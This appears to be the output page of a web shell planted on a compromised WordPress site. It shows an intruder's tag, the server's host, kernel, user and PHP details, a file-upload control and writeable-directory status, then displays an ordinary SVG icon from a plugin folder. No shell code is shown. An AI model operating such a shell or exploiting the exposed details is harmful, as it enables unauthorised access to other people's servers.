Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/bamagocr/wp-content/plugins/wpl-api/assets/img/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/bamagocr/wp-content/plugins/wpl-api/assets/img/sms.svg
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="48px" height="48px" viewBox="0 0 48 48" enable-background="new 0 0 48 48" xml:space="preserve">
<g>
	<g opacity="0.75">
		<path d="M41.732,4H7.266C3.806,4,1,6.838,1,10.34v17.434c0,3.502,2.806,6.341,6.266,6.341h0.75L4.916,46L18.87,34.113h22.862
			c3.461,0,6.269-2.84,6.269-6.34V10.34C48,6.838,45.193,4,41.732,4z M14.41,21.182c-0.152-0.192-0.354-0.354-0.605-0.486
			c-0.252-0.132-0.537-0.243-0.857-0.335c-0.322-0.089-0.647-0.189-0.979-0.297c-0.331-0.107-0.657-0.234-0.978-0.385
			c-0.321-0.15-0.607-0.347-0.857-0.588c-0.252-0.241-0.454-0.542-0.605-0.904C9.377,17.825,9.3,17.378,9.3,16.848
			c0-0.422,0.084-0.836,0.252-1.238c0.168-0.403,0.414-0.759,0.737-1.071c0.324-0.311,0.72-0.561,1.191-0.747
			c0.471-0.188,1.008-0.282,1.612-0.282c0.685,0,1.314,0.106,1.893,0.322c0.576,0.215,1.07,0.514,1.476,0.901l-0.529,1.021
			c-0.061,0.118-0.127,0.201-0.206,0.25c-0.077,0.048-0.17,0.071-0.275,0.071c-0.107,0-0.228-0.042-0.362-0.124
			c-0.133-0.083-0.29-0.177-0.472-0.279c-0.183-0.101-0.395-0.193-0.639-0.277s-0.529-0.124-0.86-0.124
			c-0.3,0-0.562,0.036-0.783,0.108c-0.221,0.072-0.408,0.173-0.561,0.302c-0.153,0.129-0.267,0.282-0.341,0.463
			c-0.076,0.18-0.113,0.376-0.113,0.59c0,0.274,0.076,0.502,0.229,0.684c0.152,0.182,0.354,0.338,0.604,0.466
			c0.252,0.13,0.538,0.245,0.858,0.346c0.32,0.103,0.647,0.211,0.982,0.326c0.333,0.115,0.66,0.249,0.981,0.402
			c0.321,0.152,0.605,0.346,0.858,0.578c0.251,0.232,0.453,0.518,0.605,0.858c0.151,0.337,0.228,0.746,0.228,1.23
			c0,0.524-0.089,1.017-0.269,1.476c-0.178,0.457-0.44,0.858-0.784,1.197c-0.346,0.342-0.768,0.61-1.264,0.805
			c-0.497,0.195-1.065,0.295-1.708,0.295c-0.367,0-0.731-0.037-1.09-0.108c-0.357-0.072-0.702-0.177-1.03-0.31
			c-0.328-0.135-0.636-0.295-0.921-0.482C9.312,24.31,9.056,24.1,8.832,23.868l0.625-1.037c0.059-0.075,0.13-0.139,0.212-0.188
			c0.083-0.051,0.176-0.075,0.277-0.075c0.133,0,0.278,0.054,0.433,0.163c0.155,0.11,0.337,0.232,0.549,0.368
			c0.212,0.132,0.461,0.253,0.746,0.364c0.286,0.11,0.629,0.165,1.03,0.165c0.615,0,1.091-0.146,1.428-0.438
			c0.336-0.291,0.505-0.712,0.505-1.259C14.637,21.624,14.56,21.375,14.41,21.182z M30.766,25.396H29.2v-8.717l-3.771,6.793
			c-0.31,0.52-0.625,0.774-0.927,0.781c-0.314,0.006-0.618-0.258-0.889-0.781l-3.813-6.793v8.717h-1.566V13.509h1.621
			c-0.074,0,0.494-0.096,0.729,0.353l3.935,7.719l3.905-7.719c0.234-0.449,0.785-0.353,0.722-0.353h1.621v11.888H30.766z
			 M39.898,23.102c-0.181,0.457-0.441,0.856-0.785,1.197c-0.346,0.342-0.771,0.608-1.264,0.805
			c-0.498,0.195-1.066,0.293-1.709,0.293c-0.367,0-0.732-0.035-1.091-0.107c-0.358-0.073-0.702-0.175-1.028-0.311
			c-0.33-0.135-0.64-0.295-0.924-0.482c-0.285-0.187-0.541-0.396-0.767-0.627l0.625-1.037c0.06-0.075,0.131-0.139,0.213-0.189
			c0.082-0.05,0.177-0.076,0.276-0.076c0.136,0,0.277,0.054,0.435,0.164c0.156,0.111,0.339,0.232,0.55,0.367
			c0.211,0.134,0.459,0.255,0.745,0.366c0.285,0.11,0.628,0.164,1.029,0.164c0.614,0,1.09-0.146,1.428-0.439
			c0.336-0.29,0.505-0.71,0.505-1.258c0-0.306-0.076-0.555-0.229-0.748c-0.152-0.192-0.354-0.354-0.604-0.486
			c-0.25-0.132-0.535-0.243-0.857-0.335c-0.32-0.089-0.646-0.189-0.979-0.297s-0.657-0.234-0.978-0.385
			c-0.321-0.15-0.606-0.347-0.858-0.588c-0.252-0.241-0.45-0.542-0.604-0.904c-0.153-0.362-0.229-0.809-0.229-1.339
			c0-0.422,0.084-0.836,0.252-1.238c0.17-0.403,0.416-0.759,0.738-1.071c0.323-0.311,0.721-0.561,1.188-0.747
			c0.473-0.188,1.01-0.282,1.613-0.282c0.686,0,1.314,0.106,1.895,0.322c0.576,0.215,1.066,0.514,1.474,0.901l-0.528,1.021
			c-0.06,0.118-0.125,0.201-0.205,0.25c-0.076,0.048-0.168,0.071-0.275,0.071s-0.227-0.042-0.361-0.124
			c-0.133-0.083-0.291-0.177-0.473-0.279c-0.184-0.101-0.396-0.193-0.637-0.277c-0.244-0.084-0.531-0.124-0.863-0.124
			c-0.299,0-0.561,0.036-0.781,0.108c-0.223,0.073-0.408,0.173-0.561,0.302c-0.154,0.129-0.269,0.282-0.342,0.463
			c-0.074,0.18-0.113,0.376-0.113,0.59c0,0.274,0.076,0.502,0.229,0.684s0.354,0.338,0.605,0.466
			c0.252,0.13,0.537,0.245,0.856,0.346c0.32,0.103,0.647,0.211,0.981,0.326c0.334,0.115,0.662,0.249,0.982,0.402
			c0.322,0.152,0.607,0.346,0.857,0.578c0.252,0.232,0.453,0.518,0.605,0.858c0.151,0.337,0.229,0.746,0.229,1.23
			C40.166,22.149,40.078,22.642,39.898,23.102z"/>
	</g>
	<g>
		<g>
			<g>
				
					<linearGradient id="SVGID_1_" gradientUnits="userSpaceOnUse" x1="314.0996" y1="-367.9902" x2="314.0996" y2="-409.9907" gradientTransform="matrix(1 0 0 -1 -290.5996 -364.9902)">
					<stop  offset="0" style="stop-color:#FFFFFF"/>
					<stop  offset="1" style="stop-color:#BABABA"/>
				</linearGradient>
				<path fill="url(#SVGID_1_)" d="M40.732,3H6.266C2.806,3,0,5.838,0,9.34v17.434c0,3.502,2.806,6.341,6.266,6.341h0.75L3.916,45
					L17.87,33.113h22.862c3.461,0,6.269-2.84,6.269-6.34V9.34C47,5.838,44.193,3,40.732,3z M13.41,20.182
					c-0.152-0.192-0.354-0.354-0.605-0.486c-0.252-0.132-0.537-0.243-0.857-0.335c-0.322-0.089-0.647-0.189-0.979-0.297
					c-0.331-0.107-0.657-0.234-0.978-0.385c-0.321-0.15-0.607-0.347-0.857-0.588c-0.252-0.241-0.454-0.542-0.605-0.904
					C8.377,16.825,8.3,16.378,8.3,15.848c0-0.422,0.084-0.836,0.252-1.238c0.168-0.403,0.414-0.759,0.737-1.071
					c0.324-0.311,0.72-0.561,1.191-0.747c0.471-0.188,1.008-0.282,1.612-0.282c0.685,0,1.314,0.106,1.893,0.322
					c0.576,0.215,1.07,0.514,1.476,0.901l-0.529,1.021c-0.061,0.118-0.127,0.201-0.206,0.25c-0.077,0.048-0.17,0.071-0.275,0.071
					c-0.107,0-0.228-0.042-0.362-0.124c-0.133-0.083-0.29-0.177-0.472-0.279c-0.183-0.101-0.395-0.193-0.639-0.277
					s-0.529-0.124-0.86-0.124c-0.3,0-0.562,0.036-0.783,0.108c-0.221,0.072-0.408,0.173-0.561,0.302
					c-0.153,0.129-0.267,0.282-0.341,0.463c-0.076,0.18-0.113,0.376-0.113,0.59c0,0.274,0.076,0.502,0.229,0.684
					c0.152,0.182,0.354,0.338,0.604,0.466c0.252,0.13,0.538,0.245,0.858,0.346c0.32,0.103,0.647,0.211,0.982,0.326
					c0.333,0.115,0.66,0.249,0.981,0.402c0.321,0.152,0.605,0.346,0.858,0.578c0.251,0.232,0.453,0.518,0.605,0.858
					c0.151,0.337,0.228,0.746,0.228,1.23c0,0.524-0.089,1.017-0.269,1.476c-0.178,0.457-0.44,0.858-0.784,1.197
					c-0.346,0.341-0.768,0.61-1.264,0.805c-0.497,0.195-1.065,0.294-1.708,0.294c-0.367,0-0.731-0.037-1.09-0.108
					c-0.357-0.072-0.702-0.176-1.03-0.31c-0.328-0.134-0.636-0.295-0.921-0.482C8.312,23.31,8.056,23.1,7.832,22.868l0.625-1.037
					c0.059-0.075,0.13-0.139,0.212-0.188c0.083-0.051,0.176-0.075,0.277-0.075c0.133,0,0.278,0.054,0.433,0.163
					c0.155,0.11,0.337,0.232,0.549,0.368c0.212,0.132,0.461,0.253,0.746,0.364c0.286,0.11,0.629,0.165,1.03,0.165
					c0.615,0,1.091-0.146,1.428-0.438c0.336-0.291,0.505-0.712,0.505-1.259C13.637,20.624,13.56,20.375,13.41,20.182z
					 M29.766,24.396H28.2v-8.717l-3.771,6.793c-0.309,0.52-0.625,0.774-0.926,0.781c-0.313,0.006-0.617-0.258-0.889-0.781
					l-3.813-6.793v8.717h-1.566V12.509h1.621c-0.074,0,0.494-0.096,0.729,0.353l3.934,7.719l3.907-7.719
					c0.234-0.449,0.785-0.353,0.721-0.353h1.621v11.887H29.766z M38.898,22.102c-0.181,0.457-0.441,0.856-0.785,1.197
					c-0.346,0.341-0.771,0.608-1.264,0.805c-0.498,0.195-1.066,0.293-1.709,0.293c-0.367,0-0.732-0.036-1.091-0.108
					c-0.358-0.073-0.702-0.175-1.028-0.31c-0.33-0.135-0.64-0.296-0.924-0.483c-0.285-0.187-0.541-0.396-0.767-0.627l0.625-1.037
					c0.06-0.075,0.131-0.139,0.213-0.189c0.082-0.05,0.177-0.076,0.276-0.076c0.136,0,0.277,0.054,0.435,0.164
					c0.156,0.111,0.338,0.232,0.55,0.367c0.211,0.134,0.459,0.255,0.745,0.366c0.285,0.11,0.628,0.164,1.029,0.164
					c0.614,0,1.09-0.146,1.428-0.439c0.336-0.29,0.505-0.71,0.505-1.258c0-0.306-0.076-0.555-0.229-0.748
					c-0.152-0.192-0.354-0.354-0.604-0.486c-0.25-0.132-0.535-0.243-0.857-0.335c-0.32-0.089-0.646-0.189-0.979-0.297
					s-0.657-0.234-0.978-0.385c-0.321-0.15-0.606-0.347-0.858-0.588c-0.252-0.241-0.45-0.542-0.604-0.904
					c-0.153-0.362-0.229-0.809-0.229-1.339c0-0.422,0.084-0.836,0.252-1.238c0.17-0.403,0.416-0.759,0.738-1.071
					c0.323-0.311,0.721-0.561,1.188-0.747c0.473-0.188,1.01-0.282,1.613-0.282c0.686,0,1.314,0.106,1.895,0.322
					c0.576,0.215,1.066,0.514,1.474,0.901l-0.528,1.021c-0.06,0.118-0.125,0.201-0.205,0.25c-0.076,0.048-0.168,0.071-0.275,0.071
					s-0.227-0.042-0.361-0.124c-0.133-0.083-0.291-0.177-0.473-0.279c-0.184-0.101-0.396-0.193-0.637-0.277
					c-0.244-0.084-0.531-0.124-0.863-0.124c-0.299,0-0.562,0.036-0.781,0.108c-0.223,0.073-0.408,0.173-0.561,0.302
					c-0.154,0.129-0.269,0.282-0.342,0.463c-0.074,0.18-0.113,0.376-0.113,0.59c0,0.274,0.076,0.502,0.229,0.684
					s0.354,0.338,0.605,0.466c0.252,0.13,0.537,0.245,0.856,0.346c0.32,0.103,0.647,0.211,0.981,0.326
					c0.334,0.115,0.662,0.249,0.982,0.402c0.322,0.152,0.607,0.346,0.857,0.578c0.252,0.232,0.453,0.518,0.605,0.858
					c0.151,0.337,0.229,0.746,0.229,1.23C39.166,21.149,39.078,21.642,38.898,22.102z"/>
			</g>
		</g>
	</g>
</g>
</svg>

Hry